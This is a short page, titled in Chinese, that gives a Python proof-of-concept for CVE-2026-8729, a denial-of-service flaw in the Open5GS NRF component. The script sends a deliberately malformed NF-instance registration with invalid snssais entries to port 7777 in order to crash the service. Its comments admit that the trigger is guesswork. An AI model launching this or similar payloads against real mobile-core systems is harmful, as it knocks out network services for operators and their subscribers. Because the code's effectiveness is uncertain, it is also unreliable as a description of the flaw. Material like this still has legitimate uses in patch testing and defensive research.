CVE-2026-8729 Open5GS NRF组件拒绝服务漏洞

import requests import json # PoC for CVE-2026-8729: Open5GS NRF DoS via manipulated snssais # Target: Open5GS NRF component (usually runs on port 7777) def trigger_dos(target_ip, target_port): url = f"http://{target_ip}:{target_port}/nnrf-nfm/v1/nf-instances" # Malformed payload targeting the snssais parsing malicious_payload = { "nfInstanceId": "test-instance", "nfType": "AMF", "serviceNames": ["nudm-sdm"], "snssais": [ { "sst": 1, "sd": "000000" # Manipulation might involve invalid length or format # Or sending a deeply nested structure to cause stack overflow/crash }, # Repeated or malformed entries may trigger the bug in message.c {"sst": 1, "sd": "overflow-trigger"} ] } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending payload to {url}...") response = requests.post(url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"Response status code: {response.status_code}") print("If the service crashes, the DoS was successful.") except Exception as e: print(f"Error or potential crash occurred: {e}") if __name__ == "__main__": # Replace with actual target IP trigger_dos("127.0.0.1", 7777)